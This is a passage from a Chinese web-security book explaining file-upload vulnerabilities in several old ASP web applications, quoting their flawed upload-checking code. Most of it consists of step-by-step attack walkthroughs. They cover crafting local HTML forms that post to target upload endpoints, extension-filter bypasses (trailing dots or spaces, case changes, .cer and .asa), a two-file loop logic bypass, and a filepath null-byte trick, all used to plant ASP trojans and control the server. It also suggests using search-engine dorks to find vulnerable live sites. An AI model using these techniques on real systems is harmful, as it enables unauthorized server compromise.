图　11-38　将上传文本框提交给"Save"保存的实现代码

（3）在"Upload.asp"文件中用户定义禁止上传文件名的代码如下：

sNoAllowExt="asp|htm|html|shtml|dhtml|aspx|js|as|vbs|exe"

（4）而保存上传文件的实现代码如下：

if(Trim(Request.QueryString("act")))="save"then

sBlogPath=TBlogID＆"|"＆DatePart("yyyy",now())＆"|"＆DatePart("m",now())

Call actSave()

else

Call actList()

end if

从上述代码中可以看出保存上传文件的具体过程是：先获得上传的TBlogID参数及当前日期，来生成文件保存的路径，再调用actSave()过程进行文件保存。

而actSave()过程的代码如下：

Sub actSave()

Set upfile=new upFileClass''建立上传对象

……代码省略……

'问题开始

Dim tempPath

Dim obj

Set obj=new SLfso

fsPath=obj.SLcreateFolders(sSaveFilePath, sBlogPath)

tempPath=obj.SLpath()'创建目录及其后的绝对路径

For each formName in upfile.file

Set oFile=upfile.file(formname)

upfile.AutoSave formname, tempPath

If upFile.isErr=3 Then

Call actList()

Call prtScript("parent.UploadError('请选择有效的上传文件!')")

Response.End

End If

fileName=upFile.prtNewFileName

fileExt=upFile.prtNewFileExt

fileBytes=Request.TotalBytes

sSaveFileName=fileName＆"."＆fileExt

Call saveDatabase()

Call prtScript("parent.UploadSaved('"＆fsPath＆"/"＆sSaveFileName＆"')")

Call prtScript("parent.imgIsUse('"＆sSaveFileName＆"')")

Set oFile=nothing

Next

Set upFile=Nothing

end Sub

不难看出：在上述文件保存过程中，只是检测了文件名是否为前面定义的禁止上传的类型，如果不是禁止上传的文件类型，则允许上传，否则提示“请选择有效的上传文件！”。但定义上传文件类型只禁止了上传asp和aspx类型的文件，所以可上传asa和cer类型的文件，这样文件上传漏洞产生了。

2.Asp和ASp文件的上传测试

在百度搜索引擎中输入"Power by SLblog v2.00"进行搜索，即可搜索到大量站点进行上传攻击检测。也可在本地搭建平台进行文件上传入侵检测。这里在本机搭建平台进行检测。

步骤1　在记事本中输入如下代码。

＜form action="http://www.****.cn/sleditor/Upload.asp?act=save＆TBlogID=1＆sType=image＆s-

Class=1"method="post"name="forml"enctype="multipart/form-data"＞

＜input name="FileName"type="FILE"class="tx1"size="30"＞

＜input type="submit"name="Submit"value="上传"＞

＜/form＞

其中的"http://www.****.cn"需要根据实现检测的网站链接进行修改。将文件保存为"Upfile.html"文件，在浏览器中打开该文件，可看到上传窗口，如图11-39所示。

图　11-39　构造本地上传页面

步骤2　也可在IE浏览器中直接浏览SLBlog（思玲blog）程序中的upload.asp文件（http://localhost/sl/SLeditor/Upload.asp），如图11-40所示。

图　11-40　直接访问上传页面

步骤3　单击【浏览】按钮，浏览指定本地的某个asp木马文件，如blueyr.asp，如图11-41所示。在上传窗口中将文件名后面加上一个点，即可进行文件上传。如果文件上传成功，则返回的是空白页面，如图11-42所示。

图　11-41　选择需要上传的文件

图　11-42　返回空白页面

步骤4　在该页面中选择【查看】→【源文件】菜单项，即可以记事本格式打开页面源代码，如图11-43所示。其中，"parent.UploadSaved('0/2009/5/20090073016394973499.asp')"表示的是上传成功的asp文件的路径。因此，这里直接访问"http://www.****.cn/uploadfile/0/2009/5/20090073016394973499.asp"链接，即可看到上传成功的木马了。

＜script language="javascript"＞

parent.UploadSaved('0/2009/5/20090073016394973499.asp');

history.back()

＜/script＞

＜script language="javascript"＞

parent.imgIsUse('2009073016394973499.asp');

history.back()

＜/script＞

图　11-43　返回页面的源代码

步骤5　如果直接将上传文件改名为"blueyr.Asp"，其中后缀名进行了大小写变换，如图11-44所示。按下回车键也能成功地上传文件。

图　11-44　修改后缀名字母大小写

注意　直接将文件名后加上一个空格，也可以成功地上传。将文件后缀名改为asa或cer，也都能成功上传。同样，变换后缀名字母大小写，改成.aSP、.ASp、.AsP等，都能够成功上传asp文件。

11.3　二次循环产生的漏洞

如果只对文件名后缀进行控制，文件上传漏洞还可能无处不在。例如，在动力文章系统中，就出现过二次循环产生的上传漏洞，该漏洞是一个非常严重的上传漏洞，是一个比较典型的隐藏上传漏洞。本节将详细介绍该漏洞产生的原因、攻击过程以及防御措施等内容。

11.3.1　MyPower上传攻击测试

在百度或Google搜索引擎中输入关键字"MyPower Ver 3.51"，即可搜索到很多使用MyPower Ver 3.51的网站，如图11-45所示。打开其中一个网页，即可在其页面底部看到"Powered by:MyPower Ver3.51"提示信息，如图11-46所示。

图　11-45　在百度中搜索使用MyPower Ver 3.51的网站

图　11-46　"Powered by：MyPower Ver3.51"提示信息

这里以在本地搭建一个动力MyPower Ver 3.51平台为例，来介绍如何检测该网站中的二次上传漏洞。具体的操作步骤如下：

步骤1　在Mypower Ver 3.51网站中打开其主页，新注册一个用户并登录，如图11-47所示。在“用户登录”栏中单击“发表文章”超链接，即可进入【发表文章】窗口，如图11-48所示。

图　11-47　注册并登录

图　11-48　【发表文章】窗口

步骤2　单击其中的【浏览】按钮，即可打开【选择文件】对话框，在其中选择任意一个ASP文件，如图11-49所示。

图　11-49　【选择文件】对话框

步骤3　单击【上传】按钮，即可看到【这种类型文件不允许上传】提示框，如图11-50所示。出现这种情况的原因在于：由于动力MyPower Ver 3.51程序做了安全限制，ASP类型文件属于其禁止上传范围，所以不能成功上传。

图　11-50　【这种类型文件不允许上传】提示框

使用前面介绍的加点和加空格法，都不能成功进行上传，同样使用.cer、cdx和stm等映射文件类型，也不能成功上传。由此可见，动力MyPower Ver 3.51程序的安全性比“九酷网络个人主页空间管理系统”要高一些。但黑客还是可以采用其他方法实现文件上传，从而控制整个网站服务器。

步骤4　在IE浏览器中打开上传程序文件Upfile.asp，即可看到“请先选择你要上传的文件！”提示信息，这说明该文件允许外部链接提交，如图11-51所示。

图　11-51　“请先选择你要上传的文件！”提示信息

步骤5　重新登录网站并单击“发表文章”超链接，打开用户控制面板的文章添加页面。选择【查看】→【源文件】菜单项，即可查看其源代码，如图11-52所示。

图　11-52　查看源文件

在其中找到如下代码：

＜form action="upfile.asp"method="post"name="form1"onSubmit="return check()"enctype=

"multipart/form-data"＞

＜input name="FileName"type="FILE"class="tx1"size="20"＞

＜input type="submit"name="Submit"value="上传"style="border:1px double rgb(88,88,88);

font:9pt"＞

＜input name="ImgWidth"type="hidden"id="ImgWidth"＞

＜input name="ImgHeight"type="hidden"id="ImgHeight"＞

＜input name="AlignType"type="hidden"id="AlignType"＞

＜/form＞

注意　也可以在页面中的【浏览】和【上传】这两个按钮中间右击，在弹出的快捷菜单中选择【查看源文件】菜单项，即可直接看到上面的代码。

步骤6　将上述代码复制到记事本中，再复制并粘贴代码段中的"＜input name="FileName"type="FILE"class="tx1"size="20"＞"，改为相同的两段代码。并将代码中的"upfile.asp"改到网站提交全路径"http://localhost/MY/Upfile_Article.asp"，如图11-53所示。其中""http://localhost/MY/Upfile_Article.asp"为上传文件"Upfile.asp"的链接，需要根据实际情况进行设置。修改后的代码如下：

＜form action="http://localhost/MY/Upfile_Article.asp"method="post"name="form1"

onSubmit="return check()"enctype="multipart/form-data"＞

＜input name="FileName"type="FILE"class="tx1"size="20"＞

＜input name="FileName1"type="FILE"class="tx1"size="20"＞

＜input type="submit"name="Submit"value="上传"style="border:1px double rgb

(88,88,88);font:9pt"＞

＜input name="ImgWidth"type="hidden"id="ImgWidth"＞

＜input name="ImgHeight"type="hidden"id="ImgHeight"＞

＜input name="AlignType"type="hidden"id="AlignType"＞

＜/form＞

图　11-53　Upfile.html文件的具体内容

步骤7　将其保存为Upfile.html，在IE浏览器中打开该文件，如图11-54所示。单击第一个文本框后的【浏览】按钮选择一个jpg图片文件；单击第二个文本框后的【浏览】按钮选择一个cer文件。

图　11-54　在IE浏览器中打开Upfile.html文件

步骤8　单击【上传】按钮，即可将这两个文件提交给程序。如果返回空白页面，则说明文件上传成功了，如图11-55所示。选择【查看】→【源文件】菜单项，即可打开网页的源文件，如图11-56所示。

var range=parent.HtmlEdit.document.selection.createRange();

range.pasteHTML('＜img src=UploadFiles/1211625A61.jpg align=left bordr=0＞');

parent.parent.AddItem('UploadFiles/1211625A61.jpg')alert('??????!');

history.go(-1);

parent.HtmlEdit.focus();

＜/script＞

＜script language=javascript＞

parent.HtmlEdit.focus();

var range=parent.HtmlEdit.document.selection.createRange();

range.text='[upload=cer]UploadFiles/xuejing.cer[/upload]';

parent.parent.AddItem('UploadFiles/雪景1.cer')

alert('???????!')

history.go(-1);

parent.HtmlEdit.focus();

＜/script＞

其中"parent.parent.AddItem('UploadFiles/1211625A61.jpg')"是图片上传后的路径，而"parent.parent.AddItem('UploadFiles/1211625A61.jpg')"是cer文件上传后的存放路径。

图　11-55　上传后返回空白页面

图　11-56　查看文件上传成功后的路径信息

在IE浏览器地址栏中输入上传后木马地址，可打开原本不能上传的asp木马。除上传.cer格式后门外，还可上传.asp_（“_”符号表示空格）格式文件及.asp.格式文件。

11.3.2　本地提交上传流程

本节通过动力MyPower Ver 3.51系统中的文件上传（Upfile_Article.asp）来分析漏洞产生的原因。在该文件中，上传代码主要包含定义变量、获取上传文件名，检测后缀名、文档上传以及保存等几部分。

1.定义变量

在上传之前，需要定义各种上传变量，如上传路径、保存目录、允许上传文件的类型等，这部分的具体实现代码如下：

＜%

const upload_type=0'上传方法:0=无组件上传类,1=FSO上传2=lyfupload,3=aspupload,

4=chinaaspupload

dim upload, oFile, formName, SavePath, filename, fileExt

dim ImgWidth, ImgHeight, AlignType

dim EnableUpload

dim arrUpFileType

dim ranNum

dim msg, FoundErr

msg=""

FoundErr=false

EnableUpload=false

SavePath=SaveUpFilesPath//存放上传文件的目录

if right(SavePath,1)＜＞"/"then SavePath=SavePath＆"/"

%＞

……

sub upload_0()'使用无组件上传类

set upload=new upfile_class''建立上传对象

2.第一个for循环：获取上传文件名

在定义完各种变量后，就需要使用for循环来获得上传文件的文件名。其实现代码如下：

for each formName in upload.file//列出所有上传了的文件

set ofile=upload.file(formName)//生成一个文件对象

3.第二个for循环，第一个后缀检测

在获得文件名后，还需要获得上传文件的后缀名，并检测文件扩展名是否合法，要实现这些功能需要用到以下的for循环语句。其具体内容如下：

fileExt=lcase(ofile.FileExt)//将扩展名转换为小写字符

arrUpFileType=split(UpFileType,"|")//读取后台定义的允许上传的文件扩展名

for i=0 to ubound(arrUpFileType)//第一次后缀名检测,用for循环读取arrUpFileType数组

if fileEXT=trim(arrUpFileType(i))then//如果fileEXT是允许上传的扩展名

EnableUpload=true//为真,表示该文件合法

exit for

end if

next

4.第二次后缀名检测，第一个逻辑变量

同样也需要对第二次上传文件的后缀名进行检测，检测其扩展名是否为asp、asa、aspx。而检测结果会返回给第一个逻辑变量EnableUpload。其实现代码以及相关注释如下：

//第二次后缀名检测,验证fileEXT是否为asp、asa、aspx扩展名

if fileEXT="asp"or fileEXT="asa"or fileEXT="aspx"then

//如果属于上面三个后缀名之一,则EnableUpload就定义为假,上传文件扩展名不合法

EnableUpload=false

5.第三次后缀名验证，第二个逻辑变量

另外，还需要检测EnableUpload变量值的真与假，其检测的结果会返回给第二个逻辑变量FoundErr。具体的实现代码及相关注释如下：

if EnableUpload=false then//第三次后缀名检测,如果传递到此的EnableUpload变量为假,则说明上传文件扩展名不合法

msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:"＆UpFileType

FoundErr=true//因为文件名不合法,就更改了FoundErr值,由初始的false改为true

end if

6.文件上传与保存

在上传之前还需要检测FoundErr变量值真与假，如果为真则执行文件上传与保存操作。其实现代码如下：

strJS="＜SCRIPT language=javascript＞"＆vbcrlf

if FoundErr＜＞true then//第四次检测,如果FoundErr不等于true则允许上传

randomize

ranNum=int(900*rnd)+100

filename=SavePath＆year(now)＆month(now)＆day(now)＆hour(now)＆minute(now)＆second(now)＆

ranNum＆"."＆fileExt//定义filename,其值为固定的路径名+年月日及随机值生成的名称+fileExt扩展名

ofile.SaveToFile Server.mappath(FileName)//保存文件

msg="上传文件成功!"

……

response.write strJS

set file=nothing

next

set upload=nothing

end sub

%＞

可以看出，逻辑变量EnableUpload和FoundErr在文件上传过程中起着非常重要的作用。EnableUpload用于验证文件扩展名的合法性，当其值为True（真）时表示合法；而FoundErr用于表示文件是否可以上传，当其值为False（假）时，表示可以上传。所以这两个变量直接影响着非法文件是否会上传成功，上传漏洞是否存在。

11.3.3　二次上传产生的逻辑错误

在只上传一个文件的情况下，文件上传代码是毫无漏洞的，但如果上传两个或多个文件，由于循环必然会导致EnableUpload和FoundErr逻辑变量值出现意料之外的变化，所以就会出现上传漏洞。在前面设计包含两个上传框的Upfile.html文件中，上传了一个.jpg后缀的图片文件和一个.cer后缀的木马后门。下面来分析在这两个文件上传过程中，EnableUpload和FoundErr逻辑变量值的变化情况。

1）第一次后缀名检测

在读取文件名前，先把变量FoundErr和EnableUpload都设置为false，再读取文件名，先验证第一个文件后缀.jpg，在第一次后缀名检测中，由于.jpg属于允许上传的文件后缀类型，所以此时变量EnableUpload值变为true。

2）第二次后缀名检测

在进行第二次后缀名检测时，因为.jpg不属于.asp/asa/aspx等三种禁止上传的类型，所以变量EnableUpload的值仍然为true。

3）第三次后缀名检测

如果EnableUpload为"false"，则FoundErr的值为true。但在进行第三次后缀名检测时，EnableUpload的值还是为true，所以FoundErr的值仍为原来的false。

4）第四次后缀名检测

由于此时FoundErr值为"false"，所以第一个1211625A61.jpg图片上传成功。在文件上传成功后，EnableUpload的值保持为true；而FoundErr的值为false。

5）第二个文件的第一次检测

进入第二个文件xuejing.cer的上传流程。先是第一次后缀名检测。由于.cer不是允许上传的文件类型，此时EnableUpload的值保持为true；而FoundErr的值为false。但这时EnableUpload的原值为true，即不管后缀名是否符合上传要求，"EnableUpload"的值都是true。

6）第二、三次检测

第二次后缀名检测时，由于.cer不属于三种禁止上传的类型，所以变量EnableUpload的值仍然保持为true。而在进行第三次后缀名检测时，由于EnableUpload的值还是为true，所以FoundErr的值仍为原来的false。

7）第四次检测

最后是第四次检测，如FoundErr的值不为true，可以顺利上传。由于这时FoundErr的值仍为原来的false，所以第二个xuejing.cer文件上传成功。

经过上述分析不难看出：在第一次正常文件的上传后，FoundErr的值一直保持第一个文件上传成功后的false值，而导致第二个文件上传时FoundErr的初始值与设计者的初始意图产生了不同。所以只要在第二个文件上传过程中，不改变该值就可以实现第二个文件上传。而第二次文件上传过程中，FoundErr的值没有发生变化，其原因在于：在第二次后缀名检测中，只要文件后缀名不属于三种禁止上传的类型，就可以保持FoundErr原值为false。由于第二次上传的文件后缀是.cer, FoundErr的值一直保持为false。这样.cer文件就可以通过层层过滤，顺利地上传并保存到网站服务器中。

注意　基于同样的原理，把第二个文件上传框中的asp后缀加入点或空格，文件后缀为.asp.、.asp_，其绕过方式和cer是一样的。由于Windows系统的文件命名机制，会自动“吞”掉后面的点和空格，保存的就是.asp格式的文件。因此，.asp.、.asp_也可以顺利上传到网站服务器上。

11.3.4　沁竹音乐网上传漏洞攻击

沁竹音乐网v3.0静态生成版是一个音乐网站，很多音乐网站都是通过这套程序建立的，但这套程序中也存在着上传漏洞。下面将介绍沁竹音乐网v3.0静态生成版程序中的上传漏洞。

1.漏洞分析

沁竹音乐网v3.0静态生成版上传漏洞位于Admin\Article文件夹下的Upfile_Artic le.asp文件中，而这个文件被Upload_Article.asp文件调用。

在Dreamweaver中打开文件Upfile_Article.asp，并找到如下代码：

＜%

const upload_type=0//上传方法:0=无组件上传类,1=FSO上传2=lyfupload,3=aspupload,

4=chinaaspupload

dim upload, oFile, formName, SavePath, filename, fileExt

dim ImgWidth, ImgHeight, AlignType

dim EnableUpload

dim arrUpFileType

dim ranNum

dim msg, FoundErr

msg=""

FoundErr=false

EnableUpload=false

SavePath=SaveUpFilesPath//存放上传文件的目录

if right(SavePath,1)＜＞"/"then SavePath=SavePath＆"/"//在目录后加(/)

%＞

fileExt=lcase(ofile.FileExt)

arrUpFileType=split(UpFileType,"|")

for i=0 to ubound(arrUpFileType)

if fileEXT=trim(arrUpFileType(i))then

EnableUpload=true

exit for

end if

next

if fileEXT="asp"or fileEXT="asa"or fileEXT="aspx"then

EnableUpload=false

end if

if EnableUpload=false then

msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:"＆UpFileType

FoundErr=true

end if

strJS="＜SCRIPT language=javascript＞"＆vbcrlf

if FoundErr＜＞true then

randomize

ranNum=int(900*rnd)+100

filename=SavePath＆year(now)＆month(now)＆day(now)＆hour(now)＆minute(now)＆second(now)＆ranNum

＆"."＆fileExt

ofile.SaveToFile Server.mappath(FileName)//保存文件

msg="上传文件成功!"

……

可以看出，其中的上传代码也是进行了4次检测，能否上传取决于EnableUpload和FoundErr两个变量值。所以可利用与前面相同的方法突破程序限制过滤，成功上传ASP木马。

2.生成本地上传页面并上传ASP木马

在本地搭建沁竹音乐网v3.0静态生成版平台进行漏洞检测。具体的操作步骤如下。

步骤1　在IIS中打开沁竹音乐网v3.0静态生成版程序中的index.asp文件，其显示效果如图11-57所示。

图　11-57　沁竹音乐网首页

步骤2　再打开Upload_Article.asp文件来检测漏洞文件是否存在。在IE浏览器的地址栏中输入"http://localhost/qinzhu/admin/Article/Upload_Article.asp"，如果可以正常打开页面，则表示存在上传文件漏洞，如图11-58所示。

图　11-58　检测上传文件

步骤3　选择【查看】→【源文件】菜单项，即可以记事本的形式打开网页的源文件，如图11-59所示。

图　11-59　查看网页源文件

步骤4　在程序代码中将＜SCRIPT language=javascript＞至＜/SCRIPT＞之间的程序代码删除掉，并将＜style type="text/css"＞和＜/style＞、＜head＞和＜/head＞之间的代码也删除掉；找到＜form action="upfile_article.asp"method="post"＞，将upfile_article.asp改为实际攻击的网站路径＜form action=http://localhost/qinzhu/admin/Article/Upload_Article.asp method="post"＞；最后复制语句＜input name="FileName1"type="FILE"class="tx1"size="20"＞。修改后的代码如图11-60所示。

＜html＞

＜body leftmargin="0"topmargin="0"＞

＜form action="http://localhost/qinzhu/admin/Article/Upload_Article.asp"method="post"

name="form1"onSubmit="return check()"enctype="multipart/form-data"＞

＜input name="FileName"type="FILE"class="tx1"size="20"＞

＜input name="FileName1"type="FILE"class="tx1"size="20"＞

＜input type="submit"name="Submit"value="上传"style="border:1px double

rgb(88,88,88);font:9pt"＞

＜input name="ImgWidth"type="hidden"id="ImgWidth"＞

＜input name="ImgHeight"type="hidden"id="ImgHeight"＞

＜input name="AlignType"type="hidden"id="AlignType"＞

＜/form＞

＜/body＞

＜/html＞

图　11-60　Upfile.html文件的源代码

步骤5　保存当前代码为"Upfile.html"文件，在IE浏览器中打开该文件，如图11-61所示。在第一个文件上传框中单击【浏览】按钮，选择一个JPG文件；在第二个文件上传框中选择一个asp木马文件，且在为第二个输入框指定asp木马文件后，将其后缀名修改为.cer。

图　11-61　在IE浏览器中打开Upfile.html文件

注意　由于该网站程序会过滤掉后缀名后的点，所以不能采用加点法；还可以在其文件名后加上一个空格，同时还要保证上传的文件大小不能超过200KB。

步骤6　单击【上传】按钮，即可突破程序的asp文件限制，将asp木马文件上传到服务器了。如果显示的页面为空白，则说明文件上传成功，如图11-62所示。在页面中选择【查看】→【源文件】菜单项，即可打开页面源程序，从中找到代码"parent.parent.AddItem=()"，"()"中的内容就是文件上传成功后的路径。

图　11-62　上传成功转到的页面

步骤7在IE浏览器中输入ASP木马的地址，即可打开ASP木马来控制目标网站服务器。

11.3.5　桃源多功能留言板上传漏洞攻击

桃源多功能留言板v3.0是一个曾经比较流行的留言板程序。在其中不用注册就可以发言，可以设置多个管理员；同时拥有留言本式和讨论区式两种留言显示方式。由于它具有多用户回复留言、类似微型论坛等特点，所以很多网站都采用该留言板程序，其主界面如图11-63所示。但是在该程序中同样存在着二次上传逻辑漏洞，则会导致上传攻击。虽然桃源多功能留言板v3.0已经打上漏洞补丁，但是仍然存在上传漏洞，而且不止一个。

图　11-63　桃源多功能留言板

在桃源多功能留言板v3.0和桃源多功能留言板v2.0版本中都有Upfile_Article.asp、Upfile_Dialog.asp以及Upfile_Photo.asp三个上传文件。在这三个上传文件中都存在着上传漏洞，与动力3.51的上传漏洞基本是一样的。在Dreamweaver中打开“桃源多功能留言板v3.0”中的Upfile_Article.asp，并找到相应的漏洞代码，如图11-64所示。

图　11-64　上传文件中的漏洞代码

for each formName in upload.file//列出所有上传了的文件

set ofile=upload.file(formName)//生成一个文件对象

if ofile.filesize＜100 then

msg="请先选择你要上传的文件!"

FoundErr=True

end if

if ofile.filesize＞(MaxFileSize*1024)then

msg="文件大小超过了限制,最大只能上传"＆CStr(MaxFileSize)＆"K的文件!"

FoundErr=true

end if

fileExt=lcase(ofile.FileExt)

arrUpFileType=split(UpFileType,"|")

for i=0 to ubound(arrUpFileType)

if fileEXT=trim(arrUpFileType(i))then

EnableUpload=true

exit for

end if

next

if fileEXT="asp"or fileEXT="asa"or fileEXT="aspx"or fileEXT="cer"or fileEXT=

"cdx"then//过滤危险文件

EnableUpload=false

end if

if EnableUpload=false then

msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:"＆UpFileType

FoundErr=true

end if

strJS="＜SCRIPT language=javascript＞"＆vbcrlf

if FoundErr＜＞true then

randomize

ranNum=int(900*rnd)+100//生成一个随机数

filename=SavePath＆year(now)＆month(now)＆day(now)＆hour(now)＆minute(now)＆second(now)

＆ranNum＆"."＆fileExt//保留上传文件的后缀

ofile.SaveToFile Server.mappath(FileName)//保存文件

msg="上传文件成功!"

……

从上面代码中不难看出：桃源多功能留言板v3.0程序采用与动力3.51相同的上传文件程序，只是使用不同文件过滤语句。“桃源多功能留言板v3.0”程序使用的过滤语句如下：

if fileEXT="asp"or fileEXT="asa"or fileEXT="aspx"or fileEXT="cer"or fileEXT="cdx"

then//过滤危险文件

上述代码将asp、asa、aspx、cer、cdx等黑客常用的文件都过滤了，所以用.cer的方法无法上传；加点法上传后的文件名没有后缀；而加空格法也无法上传成功。但可上传的网页木马不止这几种，如stm、shtml、PHP、JSP以及Shtm等类型文件，黑客可直接上传这些类型的木马。其上传方法与前面介绍的ASP木马相似，这里不再叙述。

11.4　利用Winsock Expert进行上传攻击

上传漏洞不只是过滤文件类型那么简单，在实际的网络安全事件中，黑客可能会采用更为隐蔽的上传攻击方式，如利用Windows特殊字符产生的漏洞。

11.4.1　Winsock Expert与上传漏洞攻击

Winsock Expert是一个网络数据抓包工具，可用来监视和截获指定进程网络数据的传输，主要用于网站测试。而黑客常通过该工具修改网络发送和接收数据，从而完成网页脚本入侵。

Winsock Expert的工作原理：当指定某个进程后，Winsock Expert就会在后台自动监视记录该进程通过网络收发和传送的所有数据。在进行网页脚本攻击时，黑客会利用用户验证漏洞、Cookie构造等手段。而在使用这些入侵手段时，黑客可能会先使用Winsock Expert截获网站与本机交换的数据，修改截获到的数据，将伪造的数据包再次提交给网站进行脚本攻击，从而完成攻击。

使用Winsock Expert截获网络数据的具体操作步骤如下。

步骤1　下载并运行Winsock Expert v0.6，其主窗口如图11-65所示。

图　11-65　【Winsock Expert v0.6】主窗口

步骤2　单击工具栏中的【打开】按钮，即可打开【选择监听程序（Select Process To Monitor）】对话框，如图11-66所示。若想监视某个网页，则展开"IEXPLORE.EXE"选项，在其中选择打开的网页名称，如选择一个上传网页http://localhost/qinzhu/Upfile.html。

图　11-66　【选择监听程序】对话框

步骤3　单击【打开（Open）】按钮，即可返回到主窗口中对本地与Upfile.html网站的数据交换进行监控。在窗口中将及时显示本地主机与网站进行的每一次数据交换，如图11-67所示。其中包含的列的含义如下。

图　11-67　监听到的网页数据

Status：在该列中可看到数据交换的状态，有发送（Send）和接收（WSA）两种状态。

PacketsHex：交换数据的十六进制代码。

PacketsText：十六进制代码转换成的信息。

Address：从该列中可查看到每次数据交换经过IP地址传递与转换的次数，并可以查看远程主机的IP地址。

步骤4　单击列表中某个数据交换，即可在窗口中看到转换后的详细信息，如图11-68所示。

图　11-68　截获的数据信息

POST/qinzhu/admin%20/Article/Upload_Article.asp HTTP/1.1

Accept:image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-

flash,

application/vnd.ms-excel, application/msword, application/x-silverlight,*/*

Referer:http://localhost/qinzhu/Upfile.html

Accept-Language:zh-cn

Content-Type:multipart/form-data;boundary=---------------------------7d912816230e60

Accept-Encoding:gzip, deflate

User-Agent:Mozilla/4.0(compatible;MSIE 6.0;Windows NT 5.1;SV1;QQDownload 538)

Host:localhost

Content-Length:15992

Connection:Keep-Alive

Cache-Control:no-cache

Cookie:AjStatqizu%5Fstat1=UserPages=2＆AjstatPages=2;Ajiangqizu%5Fstat1=Ajstat2=1

从上面捕捉到的重要信息有："POST"表示与网站交换信息的方式；"Referer"表示WSE捕获到的数据提交网页，主要用于查找一些隐藏的登录网页；还有远程主机名Host、连接方式Connetion、Cookie等。其中"Cookie"在构造伪装数据时非常有用。

注意　Web Services Enhancements 2.0 for Microsoft.NET（WSE）是一个用来建设Web服务的.NET类库，它支持最新的Web服务协议。

在进行发帖、文件上传等操作时，还可捕捉到一些重要信息，如"Content-Length"表示Cookie数据的长度；而"Content-Type:image/gif"则表示上传文件类型；还有文件上传后的保存路径等。所以任何隐蔽数据的交换都逃不过该工具的监控。

11.4.2　Winsock Expert与NC结合攻破天意商务网

其实，网站的上传漏洞产生关键就是因为Filepath文件名变量未进行严格的过滤造成的。造成网站程序上传漏洞的原因有两种：没有对Filename文件名变量进行过滤；第二个是没有对FilePath文件路径进行过滤。下面介绍没有对FilePath文件路径变量过滤的情况，这里以一个比较典型的网站程序天意阿里巴巴企业商务网V3.7为例进行介绍。

1.天意商务网FilePath漏洞分析

天意阿里巴巴企业商务网V3.7是一套网络上经常应用的商务网站程序，zs_save_add.asp、down_upfile.asp等文件都存在FilePath变量未过滤的上传漏洞。

（1）在Dreamweaver中打开天意阿里巴巴企业商务网V3.7程序中manage\spzs路径下的zs_save_add.asp文件，该文件的作用是控制文件上传，并找到如下代码：

＜%

dim upload, file, formName, formPath, iCount, gsid, filename, rs, sql, picture

dim cpbh, cpmc, cpsb, cpcd, cpjg, cpgg, typeid, sortid, jysm, xxsm, sf, city, sccj, lxr, address, pos-

tcode, phone, fax, email, web//定义上传变量以及其他变量

set upload=new upload_5xSoft//建立上传对象

……

formPath=upload.form("filepath")//上传文件检测的第一步,其作用是获得文件路径

if right(formPath,1)＜＞"/"then formPath=formPath＆"/"

……

for each formName in upload.file//用for读取上传文件

set file=upload.file(formName)//生成一个文件对象

if file.FileSize＞0 then

if file.filesize＞200000 then

HtmEnd"您上传的文件大于规定大小(200K),请改变文件大小后再进行上传。"

else

if trim(right(file.FileName,3))＜＞"jpg"and trim(right(file.FileName,3))＜＞"gif"then//

从文件名截取3位,并进行文件扩展名判断

HtmEnd"您上传的文件GIF或JPG图像文件,请将你上传的文件转换此格式后再进行上传。"

else

FileName=gsid＆MakedownName()＆"."＆mid(file.FileName, InStrRev(file.FileName,".")+1)//

上传文件名filename由提交文件名随机产生

file.SaveAs Server.mappath(formPath＆FileName)//保存文件,保存路径以及文件名由formPath+

FileName组成

%＞

在上面的代码中，最为关键的代码就是下面两句：

formPath=upload.form("filepath")

file.SaveAs Server.mappath(formPath＆FileName)

前者是从变量filepath中获取文件的保存路径，而后者是通过路径变量formPath加随机生成的变量"FileName"获取上传文件保存的路径和名称。

（2）zs_save_add. asp文件是被Upfile.asp文件进行调用的，而Upfile.asp文件是一个上传提交页面，其作用是提交上传路径和文件名变量。该文件的主要代码如下：

＜form name="form1"method="post"action="upfile.asp"enctype="multipart/form-data"

onSubmit="check Image('file1')"＞

＜table width="560"border="1"cellspacing="0"cellpadding="5"align="center"

bordercolordark="#6B8 FC8"bordercolorlight="#ffffff"＞

＜tr bgcolor="#CCCCCC"＞

＜td height="22"align="left"valign="middle"bgcolor="#6B8FC8"＞＜font color="#FFFFFF"＞

请上传图片/＜/font＞现在图片已经被删除请重新上传

＜/td＞

＜/tr＞

＜tr align="center"valign="middle"＞

＜td height="60"align="left"bgcolor="#E8F1FF"＞＜input type="hidden"name="filepath"

value="……/……/picture/"＞

文件:

＜input type="file"name="file1"style="width:400"class="tx1"value=""＞

＜br＞

＜/td＞

＜/tr＞

＜tr align="center"valign="middle"bgcolor="#eeeeee"＞

＜td bgcolor="#eeeeee"height="24"＞

＜input type="submit"name="Submit"value="提交"class="bt"＞

＜input type="reset"name="Submit2"value="清除"class="bt"＞

＜/td＞

＜/tr＞

＜/table＞

＜/form＞

在上述代码中定义了＜input type="hidden"name="filepath"value="../../picture/"＞和＜input type="file"name="file1"style="width：400"class="tx1"value=""＞两个表单。第一个表单提交的变量名为filepath，其值为"./../picture/"；而第二个表单提交的变量为file1，其值为上传的文件。由于Upfile.asp文件将数据提交给zs_save_add.asp，所以在zs_save_add.asp中可以接收到file1表单和filepath表单中的值，并判断文件后缀名以及路径。

这两个表单中的值都是来源于客户端，所以黑客可以修改用户提交的数据，以达到欺骗服务端的程序过滤功能。

（3）在Upload.asp文件中如果上传一个正常的雪景.jpg文件，则提交的文件名file1变量的值为雪景.jpg。由于上传的文件是图片类型，所以在上传过程中，随文件提交的FilePath变量的值为"image"。

当Upfile.asp文件接收到上传提交的数据时，根据上传控制语句"formPath=upload.form ("filepath")"可知文件的保存路径formpath的值为"image"。然后根据上传控制语句"filename=formPath＆year(now)＆month(now)＆day(now)＆hour(now)＆minute(now)＆second(now)＆ranNum＆fileExt"随机获得一个当前时间产生的文件，如2009073117375644445.jpg，这样"filename=formPath＆2009073117375644445.jpg"，此时filename的值为"image/2009073117375644445.jpg"，这就是上传文件在正常情况下的保存路径和文件名。

但在上传过程中变量是用户提交的，如果将FilePath的值修改为“image/xuejing.asp口”，其中“口”表示二进制的“00”，即NULL字符。在该变量提交给Filename的值就变为“image/xuejing.asp口/2009073117375644445.jpg”。

注意　在网络编程语言中，截止符“00”的作用是通知网页服务器中止“00”截止符后面数据的接收。

